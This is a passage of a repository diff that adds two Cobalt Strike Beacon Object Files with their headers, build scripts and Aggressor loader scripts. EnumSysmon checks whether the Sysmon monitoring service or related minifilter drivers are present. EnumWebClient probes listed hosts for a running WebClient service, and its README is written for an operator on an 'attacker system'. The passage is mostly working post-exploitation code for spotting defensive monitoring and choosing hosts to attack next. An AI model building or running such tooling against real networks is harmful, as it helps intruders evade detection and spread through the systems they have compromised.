+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 5 - 0
KIT/EnumSysmon/bofcompile.bat

@@ -0,0 +1,5 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumsysmon.c
+move /y enumsysmon.obj enumsysmon.o
+

+ 332 - 0
KIT/EnumSysmon/enumsysmon.c

@@ -0,0 +1,332 @@
+#include <windows.h>
+#include <stdio.h>
+#include <tdh.h>
+#include <pla.h>
+#include <oleauto.h>
+#include <tlhelp32.h>
+#include <fltuser.h>
+#include "enumsysmon.h"
+#include "beacon.h"
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+//IID: https://gist.githubusercontent.com/stevemk14ebr/af8053c506ef895cd520f8017a81f913/raw/98944bc6ae995229d5231568a8ae73dd287e8b4f/guids
+BOOL PrintSysmonPID(wchar_t * guid) {
+	HRESULT hr = S_OK;
+	ITraceDataProvider *itdProvider = NULL;
+	IID CTraceDataProvider = {0x03837513,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	IID IIDITraceDataProvider = {0x03837512,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	IID IIDIEnumVARIANT = {0x00020404,0x0000,0x0000,{0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46}};
+	IID IIDIValueMapItem = {0x03837533,0x098b,0x11d8,{0x94,0x14,0x50,0x50,0x54,0x50,0x30,0x30}};
+	BOOL activeSysmon = FALSE;
+	
+	hr = OLE32$CoInitializeEx(NULL, COINIT_MULTITHREADED);
+	if(FAILED(hr)) return FALSE;
+
+	hr = OLE32$CoCreateInstance(&CTraceDataProvider, 0, CLSCTX_INPROC_SERVER, &IIDITraceDataProvider, (LPVOID *) &itdProvider); 
+	if(FAILED(hr))
+	{
+		BeaconPrintf(CALLBACK_ERROR,"Failed to create instance of object: %lX", hr);
+	}
+	
+	hr = itdProvider->lpVtbl->Query(itdProvider, guid, NULL);
+	if(FAILED(hr))
+	{
+		BeaconPrintf(CALLBACK_ERROR,"Failed to query the process based on the GUID: %lX\n", hr);
+	}
+	IValueMap *ivmProcesses = NULL;
+	hr = itdProvider->lpVtbl->GetRegisteredProcesses(itdProvider, &ivmProcesses);
+	
+	if(hr == S_OK) {
+		long count = 0;
+		hr = ivmProcesses->lpVtbl->get_Count(ivmProcesses, &count);
+		
+		if (count > 0) {
+			IUnknown *pUnk = NULL;
+			hr = ivmProcesses->lpVtbl->get__NewEnum(ivmProcesses, &pUnk);
+			IEnumVARIANT *pItems = NULL;
+			hr = pUnk->lpVtbl->QueryInterface(pUnk, &IIDIEnumVARIANT, (void **)&pItems);
+			pUnk->lpVtbl->Release(pUnk);
+			
+			VARIANT vItem;
+			VARIANT vPID;
+			OLEAUT32$VariantInit(&vItem);
+			OLEAUT32$VariantInit(&vPID);
+			
+			IValueMapItem *pProc = NULL;
+			while ((hr = pItems->lpVtbl->Next(pItems, 1, &vItem, NULL)) == S_OK) {
+				vItem.punkVal->lpVtbl->QueryInterface(vItem.punkVal, &IIDIValueMapItem, (void **) &pProc);
+				pProc->lpVtbl->get_Value(pProc, &vPID);
+				
+				if (vPID.ulVal) {
+					internal_printf("Sysmon procID:\t\t%d\n", vPID.ulVal);
+					activeSysmon = TRUE;
+				}
+
+				OLEAUT32$VariantClear(&vPID);
+				pProc->lpVtbl->Release(pProc);
+				OLEAUT32$VariantClear(&vItem);
+			}
+		}
+	}
+	ivmProcesses->lpVtbl->Release(ivmProcesses);
+	itdProvider->lpVtbl->Release(itdProvider);
+	OLE32$CoUninitialize();
+
+	return activeSysmon;
+}
+
+
+BOOL FindSysmon() {
+    DWORD status = ERROR_SUCCESS;
+    PROVIDER_ENUMERATION_INFO * penum = NULL;    
+    PROVIDER_ENUMERATION_INFO * ptemp = NULL;
+    DWORD BufferSize = 0;                       
+    HRESULT hr = S_OK;                          
+    WCHAR StringGuid[MAX_GUID_SIZE];
+	
+    HKEY hKey;
+	DWORD cbLength = MAX_DATA_LENGTH;
+	DWORD dwType;
+	char* RegData = NULL;
+	wchar_t guid[256];	
+	BOOL activeSysmon = FALSE;
+
+
+	if(ADVAPI32$RegOpenKeyExA(HKEY_LOCAL_MACHINE, TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WINEVT\\Channels\\Microsoft-Windows-Sysmon/Operational"), 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
+		RegData = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, cbLength);
+		if (RegData == NULL) {
+			return FALSE;
+		}
+
+		if(ADVAPI32$RegGetValueA(hKey,	NULL, "OwningPublisher", RRF_RT_ANY, &dwType, (PVOID)RegData, &cbLength) != ERROR_SUCCESS) {
+			return FALSE;
+		}
+		
+		if (MSVCRT$strlen(RegData) != 0) {
+			KERNEL32$MultiByteToWideChar(CP_UTF8, 0, RegData, -1, guid, 256);
+		}
+		else return FALSE;
+	}
+	else return FALSE;
+	if(RegData) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, RegData);
+	ADVAPI32$RegCloseKey(hKey);
+	
+	
+    status = TDH$TdhEnumerateProviders(penum, &BufferSize);
+    while (status == ERROR_INSUFFICIENT_BUFFER) {
+        ptemp = (PROVIDER_ENUMERATION_INFO *) MSVCRT$realloc(penum, BufferSize);
+        if (ptemp == NULL) {
+            return FALSE;
+        }
+
+        penum = ptemp;
+        ptemp = NULL;
+
+        status = TDH$TdhEnumerateProviders(penum, &BufferSize);
+    }
+	
+    if (status != ERROR_SUCCESS) 
+		BeaconPrintf(CALLBACK_ERROR,"TdhEnumerateProviders failed.\n");
+	
+    else {
+        for (DWORD i = 0; i < penum->NumberOfProviders; i++) {
+            hr = OLE32$StringFromGUID2(&penum->TraceProviderInfoArray[i].ProviderGuid, StringGuid, ARRAYSIZE(StringGuid));
+            if (FAILED(hr)) return FALSE;
+			
+			if (!MSVCRT$_wcsicmp(StringGuid, (wchar_t *)guid)) { 
+
+				internal_printf("[!] Sysmon service found:\n===============================================================\n");
+				activeSysmon = PrintSysmonPID(guid);	
+
+				if(!activeSysmon) internal_printf("Sysmon service status:\tStopped\n");
+				else internal_printf("Sysmon service status:\tRunning\n");
+				
+				internal_printf("Sysmon provider name:\t%ls\nSysmon provider GUID:\t%ls\n", (LPWSTR)((PBYTE)(penum)+penum->TraceProviderInfoArray[i].ProviderNameOffset), StringGuid); 
+				if (penum) {
+					MSVCRT$free(penum);
+					penum = NULL;
+				}
+				return TRUE;
+			}
+			
+        }
+    }
+
+    if (penum) {
+        MSVCRT$free(penum);
+        penum = NULL;
+    }
+	
+	return FALSE;
+}
+
+
+
+int PrintMiniFilterData(FILTER_AGGREGATE_STANDARD_INFORMATION * lpFilterInfo) {
+
+	FILTER_AGGREGATE_STANDARD_INFORMATION * fltInfo = NULL;
+	char * fltName, * fltAlt;
+	
+	fltInfo = (FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo;
+
+	int fltName_size = fltInfo->Type.MiniFilter.FilterNameLength;
+	LONGLONG src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterNameBufferOffset;
+	fltName = (char *) MSVCRT$malloc(fltName_size + 2);
+	MSVCRT$memset(fltName, 0, fltName_size + 2);
+	MSVCRT$memcpy(fltName, (void *) src, fltName_size);
+	
+	int fltAlt_size = fltInfo->Type.MiniFilter.FilterAltitudeLength;
+	src = ((LONGLONG) lpFilterInfo) + fltInfo->Type.MiniFilter.FilterAltitudeBufferOffset;
+	fltAlt = (char *) MSVCRT$malloc(fltAlt_size + 2);
+	MSVCRT$memset(fltAlt, 0, fltAlt_size + 2);
+	MSVCRT$memcpy(fltAlt, (void *) src, fltAlt_size);	
+	
+	if (fltInfo->Flags == FLTFL_ASI_IS_MINIFILTER) {
+		internal_printf("%-29ls%ls\t%26d\n", fltName, fltAlt, fltInfo->Type.MiniFilter.NumberOfInstances);
+	}
+	MSVCRT$free(fltName);
+	MSVCRT$free(fltAlt);	
+	
+	return 0;
+}
+
+
+BOOL FindMiniFilters() {
+	HRESULT res;
+	DWORD dwBytesReturned;
+	HANDLE hFilterFind;
+	DWORD dwFilterInfoSize = 1024;
+	LPVOID lpFilterInfo = KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), NULL, dwFilterInfoSize);
+	BOOL foundMinifilter = FALSE;
+	
+	res = Fltlib$FilterFindFirst(FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned, &hFilterFind);
+	if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) return foundMinifilter;
+	if (res != S_OK) return foundMinifilter;
+	
+	internal_printf("[+] Found MiniFilter drivers.\n[*] Check if you can identify one that is associated with Sysmon (e.g. SysmonDrv):\n\n");
+	internal_printf("Name Minifilter\t\tPriority altitude\t\tLoaded instances\n=======================================================================\n");
+	PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);
+	foundMinifilter = TRUE;
+
+	while(true) {
+		res = Fltlib$FilterFindNext(hFilterFind, FilterAggregateStandardInformation, lpFilterInfo, dwFilterInfoSize, &dwBytesReturned);
+		if (res == HRESULT_FROM_WIN32(ERROR_NO_MORE_ITEMS)) break;
+		if (res != S_OK) return foundMinifilter;
+		PrintMiniFilterData((FILTER_AGGREGATE_STANDARD_INFORMATION *) lpFilterInfo);		
+	}
+	
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), NULL, lpFilterInfo);
+    return foundMinifilter;
+}
+
+
+
+int go(char *args, int len) {
+	BOOL res = NULL;
+	CHAR *action;
+	datap parser;
+	
+	BeaconDataParse(&parser, args, len);
+	action = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+	
+	if (MSVCRT$strcmp(action, "reg") == 0) {
+		res = FindSysmon();
+		if(!res) {
+			BeaconPrintf(CALLBACK_OUTPUT, "[+] No Sysmon service found :)\n");
+			return 0;
+		}
+		else  {
+			printoutput(TRUE);
+		}
+	}
+	else if (MSVCRT$strcmp(action, "driver") == 0) {
+		res = FindMiniFilters();
+		if(!res) {
+			BeaconPrintf(CALLBACK_ERROR,"Couldn't list Minifilter drivers. Running with high enough privileges?\n");
+			return 0;
+		}
+		else  {
+			printoutput(TRUE);
+		}
+	}
+	else {
+		BeaconPrintf(CALLBACK_ERROR, "Please specify one of the following enumeration options: reg | driver (must be elevated)\n");
+	}
+
+	return 0;
+}
+
+

+ 32 - 0
KIT/EnumSysmon/enumsysmon.cna

@@ -0,0 +1,32 @@
+# author REDMED-X
+
+beacon_command_register(
+    "enumsysmon", "Verify if Sysmon is running.",
+    "INFO:\nVerify if Sysmon is running. This can be done by checking the registry or by enumerating Minifilter drivers and search for one that is associated with Sysmon.\n\nOPTIONS:\n[reg]: search the registry to check if Sysmon is present on the system and return the Sysmon service PID if active.\n[driver]: list all the Minifilter drivers on the system to check manually (requires elevated privileges).\n\n" .
+    "USAGE:\nenumsysmon <reg | driver>\n\n");
+
+
+alias enumsysmon {
+    $bid = $1;
+    $action = $2;
+
+    if ($action eq "reg" || $action eq "driver") {
+    }
+    else {
+        berror($bid, "Please specify one of the following enumeration options: reg | driver\n");
+        return;
+    }
+
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumsysmon.o"));
+    $data   = readb($handle, -1);
+    closef($handle);
+
+    # Pack our arguments
+    $arg_data  = bof_pack($bid, "z", $action);
+
+    blog($bid, "Tasked to find Sysmon..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}
+
+

+ 60 - 0
KIT/EnumSysmon/enumsysmon.h

@@ -0,0 +1,60 @@
+#include <windows.h>  
+
+#pragma comment(lib, "tdh.lib")
+#pragma comment(lib, "Ole32.lib") 
+#pragma comment(lib, "Advapi32.lib")
+#pragma comment(lib, "OleAut32.lib")
+#pragma comment(lib, "FltLib.lib" )
+
+#define HRESULT_FROM_WIN32(x) (x ? ((HRESULT) (((x) & 0x0000FFFF) | (FACILITY_WIN32 << 16) | 0x80000000)) : 0)
+#define MAX_GUID_SIZE 39
+#define MAX_DATA_LENGTH 65000
+#define true 1
+
+//PrintSysmonPID
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx(LPVOID pvReserved, DWORD dwCoInit);
+DECLSPEC_IMPORT void WINAPI OLE32$CoUninitialize(void);
+DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg);
+DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg);
+
+//FindSysmon
+DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey, LPCSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult);
+DECLSPEC_IMPORT LSTATUS WINAPI ADVAPI32$RegGetValueA(HKEY hkey, LPCSTR lpSubKey, LPCSTR lpValue, DWORD dwFlags, LPDWORD pdwType, PVOID pvData, LPDWORD pcbData);
+DECLSPEC_IMPORT LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);
+//DECLSPEC_IMPORT HANDLE WINAPI KERNEL32$GetProcessHeap();
+//DECLSPEC_IMPORT LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+//DECLSPEC_IMPORT BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);
+DECLSPEC_IMPORT int __cdecl OLE32$StringFromGUID2(REFGUID rguid, LPOLESTR lpsz, int cchMax);
+WINBASEAPI TDHSTATUS WINAPI TDH$TdhEnumerateProviders(PPROVIDER_ENUMERATION_INFO pBuffer, ULONG *pBufferSize);
+WINBASEAPI void* __cdecl MSVCRT$realloc(void *ptr, size_t size);
+WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *str);
+WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *str1, const wchar_t *str2);
+DECLSPEC_IMPORT int WINAPI KERNEL32$MultiByteToWideChar(UINT CodePage, DWORD dwFlags, _In_NLS_string_(cbMultiByte)LPCCH lpMultiByteStr, int cbMultiByte, LPWSTR lpWideCharStr, int cchWideChar);
+
+//PrintMiniFilterData
+WINBASEAPI void * __cdecl MSVCRT$malloc(size_t size);
+//WINBASEAPI void * __cdecl MSVCRT$memcpy(void *dest, const void *src, size_t count);
+//WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI int __cdecl MSVCRT$wprintf(const wchar_t *format, ...);
+//WINBASEAPI void __cdecl MSVCRT$free(void *ptr);
+
+//FindMiniFilters
+WINBASEAPI HRESULT WINAPI Fltlib$FilterFindFirst(FILTER_INFORMATION_CLASS dwInformationClass, LPVOID lpBuffer, DWORD dwBufferSize, LPDWORD lpBytesReturned, LPHANDLE lpFilterFind);
+WINBASEAPI HRESULT WINAPI Fltlib$FilterFindNext(HANDLE hFilterFind, FILTER_INFORMATION_CLASS dwInformationClass, LPVOID lpBuffer, DWORD dwBufferSize, LPDWORD lpBytesReturned);
+
+//main
+WINBASEAPI int __cdecl MSVCRT$printf(const char * _Format,...);
+WINBASEAPI int __cdecl MSVCRT$strcmp(const char *str1, const char *str2);
+WINBASEAPI int __cdecl MSVCRT$getchar(void);
+
+
+//bofstart + internal_printf + printoutput
+WINBASEAPI void *__cdecl MSVCRT$calloc(size_t number, size_t size);
+WINBASEAPI int WINAPI MSVCRT$vsnprintf(char* buffer, size_t count, const char* format, va_list arg);
+WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);
+WINBASEAPI void* WINAPI MSVCRT$memcpy(void* dest, const void* src, size_t count);
+WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();
+WINBASEAPI LPVOID WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);
+WINBASEAPI void __cdecl MSVCRT$free(void *memblock);
+WINBASEAPI BOOL WINAPI KERNEL32$HeapFree(HANDLE, DWORD, PVOID);

BIN
KIT/EnumSysmon/enumsysmon.o


+ 27 - 0
KIT/EnumWebClient/README.md

@@ -0,0 +1,27 @@
+# EnumWebClient
+Enumerate hosts that have the WebClient service running using a list with predefined hostnames or IP addresses. The list is loaded from your own attacker system.
+
+>A valid list with hostnames is considered newline separated and ends with a newline. Furthermore, the following hostname notations are correct: `database`, `database.example.local`, `10.100.10.1`.  
+
+## Arguments
+* `<path to file>`: the path on your own attacker system to the file containing the list with predefined hostnames.
+* `debug`: optional argument to include hostnames in the output that couldn't be reached or on which the WebClient was not running.
+
+
+## Usage
+* `enumwebclient <path to hostname file> [opt:debug]`
+
+
+## Examples
+* `enumwebclient C:\Users\RTO\Documents\hostnames.txt`
+* `enumwebclient C:\\Users\RTO\Documents\hostnames.txt debug`
+
+
+## Compile
+- 1\. Make sure Visual Studio is installed and supports C/C++.
+- 2\. Open the `x64 Native Tools Command Prompt for VS <2019/2022>` terminal.
+- 3\. Run the `bofcompile.bat` script to compile the object file. 
+- 4\. In Cobalt strike, use the script manager to load the .cna script to import the tool. 
+
+## Credits
+This project is based on the [GetWebDAVStatus](https://github.com/G0ldenGunSec/GetWebDAVStatus) BOF and created as a more user friendly version.

+ 69 - 0
KIT/EnumWebClient/beacon.h

@@ -0,0 +1,69 @@
+/*
+ * Beacon Object Files (BOF)
+ * -------------------------
+ * A Beacon Object File is a light-weight post exploitation tool that runs
+ * with Beacon's inline-execute command.
+ *
+ * Additional BOF resources are available here:
+ *   - https://github.com/Cobalt-Strike/bof_template
+ *
+ * Cobalt Strike 4.x
+ * ChangeLog:
+ *    1/25/2022: updated for 4.5
+ */
+
+/* data API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} datap;
+
+DECLSPEC_IMPORT void    BeaconDataParse(datap * parser, char * buffer, int size);
+DECLSPEC_IMPORT char *  BeaconDataPtr(datap * parser, int size);
+DECLSPEC_IMPORT int     BeaconDataInt(datap * parser);
+DECLSPEC_IMPORT short   BeaconDataShort(datap * parser);
+DECLSPEC_IMPORT int     BeaconDataLength(datap * parser);
+DECLSPEC_IMPORT char *  BeaconDataExtract(datap * parser, int * size);
+
+/* format API */
+typedef struct {
+	char * original; /* the original buffer [so we can free it] */
+	char * buffer;   /* current pointer into our buffer */
+	int    length;   /* remaining length of data */
+	int    size;     /* total size of this buffer */
+} formatp;
+
+DECLSPEC_IMPORT void    BeaconFormatAlloc(formatp * format, int maxsz);
+DECLSPEC_IMPORT void    BeaconFormatReset(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatAppend(formatp * format, char * text, int len);
+DECLSPEC_IMPORT void    BeaconFormatPrintf(formatp * format, char * fmt, ...);
+DECLSPEC_IMPORT char *  BeaconFormatToString(formatp * format, int * size);
+DECLSPEC_IMPORT void    BeaconFormatFree(formatp * format);
+DECLSPEC_IMPORT void    BeaconFormatInt(formatp * format, int value);
+
+/* Output Functions */
+#define CALLBACK_OUTPUT      0x0
+#define CALLBACK_OUTPUT_OEM  0x1e
+#define CALLBACK_OUTPUT_UTF8 0x20
+#define CALLBACK_ERROR       0x0d
+
+DECLSPEC_IMPORT void   BeaconOutput(int type, char * data, int len);
+DECLSPEC_IMPORT void   BeaconPrintf(int type, char * fmt, ...);
+
+
+/* Token Functions */
+DECLSPEC_IMPORT BOOL   BeaconUseToken(HANDLE token);
+DECLSPEC_IMPORT void   BeaconRevertToken();
+DECLSPEC_IMPORT BOOL   BeaconIsAdmin();
+
+/* Spawn+Inject Functions */
+DECLSPEC_IMPORT void   BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
+DECLSPEC_IMPORT void   BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT void   BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
+DECLSPEC_IMPORT BOOL   BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
+DECLSPEC_IMPORT void   BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
+
+/* Utility Functions */
+DECLSPEC_IMPORT BOOL   toWideChar(char * src, wchar_t * dst, int max);

+ 6 - 0
KIT/EnumWebClient/bofcompile.bat

@@ -0,0 +1,6 @@
+@ECHO OFF
+
+cl.exe /nologo /c /Od /MT /W0 /GS- /Tc enumwebclient.c
+move /y enumwebclient.obj enumwebclient.o
+
+

+ 134 - 0
KIT/EnumWebClient/enumwebclient.c

@@ -0,0 +1,134 @@
+#include <windows.h>
+#include <stdio.h>
+#include "enumwebclient.h"
+#include "beacon.h"
+
+
+//START TrustedSec BOF print code: https://github.com/trustedsec/CS-Situational-Awareness-BOF/blob/master/src/common/base.c
+#ifndef bufsize
+#define bufsize 8192
+#endif
+char *output = 0;  
+WORD currentoutsize = 0;
+HANDLE trash = NULL; 
+int bofstart();
+void internal_printf(const char* format, ...);
+void printoutput(BOOL done);
+
+int bofstart() {   
+    output = (char*)MSVCRT$calloc(bufsize, 1);
+    currentoutsize = 0;
+    return 1;
+}
+
+void internal_printf(const char* format, ...){
+    int buffersize = 0;
+    int transfersize = 0;
+    char * curloc = NULL;
+    char* intBuffer = NULL;
+    va_list args;
+    va_start(args, format);
+    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); 
+    va_end(args);
+    
+    if (buffersize == -1) return;
+    
+    char* transferBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, bufsize);
+	intBuffer = (char*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, buffersize);
+    va_start(args, format);
+    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); 
+    va_end(args);
+    if(buffersize + currentoutsize < bufsize) 
+    {
+        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);
+        currentoutsize += buffersize;
+    } else {
+        curloc = intBuffer;
+        while(buffersize > 0)
+        {
+            transfersize = bufsize - currentoutsize;
+            if(buffersize < transfersize) 
+            {
+                transfersize = buffersize;
+            }
+            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize);
+            currentoutsize += transfersize;
+            if(currentoutsize == bufsize)
+            {
+                printoutput(FALSE); 
+            }
+            MSVCRT$memset(transferBuffer, 0, transfersize); 
+            curloc += transfersize; 
+            buffersize -= transfersize;
+        }
+    }
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, intBuffer);
+	KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, transferBuffer);
+}
+
+void printoutput(BOOL done) {
+    char * msg = NULL;
+    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);
+    currentoutsize = 0;
+    MSVCRT$memset(output, 0, bufsize);
+    if(done) {MSVCRT$free(output); output=NULL;}
+}
+//END TrustedSec BOF print code.
+
+
+int go(char *args, int len) {
+    char* pipeNameHead = "\\\\";
+    char* pipeNameTail = "\\pipe\\DAV RPC SERVICE";
+    BOOL pipeStatus = 0;
+    char* hostname;
+	char* nextHostname;
+	char* debug;
+    int iBytesLen = 0;
+    CHAR *hostFileBytes;
+    datap parser;
+
+    BeaconDataParse(&parser, args, len);
+    hostFileBytes = BeaconDataExtract(&parser, &iBytesLen);
+	debug = BeaconDataExtract(&parser, NULL);
+	if(!bofstart()) return;
+	
+    if(iBytesLen != 0) {
+        BeaconPrintf(CALLBACK_OUTPUT, "[*] Loaded file in memory with a size of %d bytes\n", iBytesLen); 
+		
+		internal_printf("\nEnumeration results:\n");
+		internal_printf("==============================================\n");
+	
+        hostname = MSVCRT$strtok(hostFileBytes, "\r\n");
+        while (hostname != NULL) {
+			nextHostname = MSVCRT$strtok(NULL, "\r\n");
+            if (nextHostname == NULL) {
+                break;
+            }
+
+            size_t len = MSVCRT$strlen(hostname);
+            char* fullPipeName = (char*) MSVCRT$malloc(len + MSVCRT$strlen(pipeNameHead) + MSVCRT$strlen(pipeNameTail) + 1);
+            MSVCRT$strcpy(fullPipeName, pipeNameHead);
+            MSVCRT$strcat(fullPipeName, hostname);
+            MSVCRT$strcat(fullPipeName, pipeNameTail);
+		
+            pipeStatus = KERNEL32$WaitNamedPipeA(fullPipeName, 3000);
+
+			if (pipeStatus == 0 && (MSVCRT$strcmp(debug, "debug") == 0)) {
+				internal_printf("[-] WebClient service not running on %s\n", hostname);
+			} else if (pipeStatus == 0) {
+            } else {
+				internal_printf("[+] WebClient running on %s\n", hostname);
+            }
+            MSVCRT$free(fullPipeName);
+            hostname = nextHostname;
+        }
+		printoutput(TRUE);
+
+    } else {
+        BeaconPrintf(CALLBACK_ERROR, "Couldn't load the host file from disk.\n");
+    }
+	
+	
+    return 0;
+}
+

+ 38 - 0
KIT/EnumWebClient/enumwebclient.cna

@@ -0,0 +1,38 @@
+# author REDMED-X
+
+beacon_command_register(
+	"enumwebclient", "Find running WebClient services.",
+	"INFO:\nFind hosts with the WebClient service running based on a list with predefined hostnames or IP addresses. The list is loaded from your own attacker system.\n\n" .
+	"ARGUMENTS:\n[<path to file>]: the path on your own attacker system to the file containing the list with predefined hostnames. Each hostname must be newline separated.\n[debug]: optional argument to include hostnames in the output that couldn't be reached or on which the WebClient was not running.\n\n" .
+	"USAGE:\nenumwebclient <path to hostname file> [opt:debug]\n\n" .
+	"EXAMPLES:\nenumwebclient C:\\Users\\redmed\\Documents\\hostnames.txt\nenumwebclient C:\\Users\\redmed\\Documents\\hostnames.txt debug\n\n");
+	
+alias enumwebclient {
+    $bid = $1;
+	$path = $2;
+	$debug = $3;
+	
+	if ($path eq "") {
+		berror($bid, "Please specify the path on your own attacker system to the file containing the list with newline separated hostnames.\n");
+		return;
+	}
+
+	
+	# read in the .txt file
+	$handle = openf("$path");
+	$file = readb($handle, -1);
+	closef($handle);
+	
+	blog($bid, "path: $+  $path");
+	
+    # Read in the right BOF file
+    $handle = openf(script_resource("enumwebclient.o"));
+    $data = readb($handle, -1);
+    closef($handle);
+
+	# Pack our arguments
+    $arg_data = bof_pack($bid, "bz", $file, $debug);
+
+	blog($bid, "Tasked to find running WebClient services..");
+    beacon_inline_execute($bid, $data, "go", $arg_data);
+}

+ 25 - 0
KIT/EnumWebClient/enumwebclient.h

@@ -0,0 +1,25 @@
+#include <windows.h>  
+
+//main
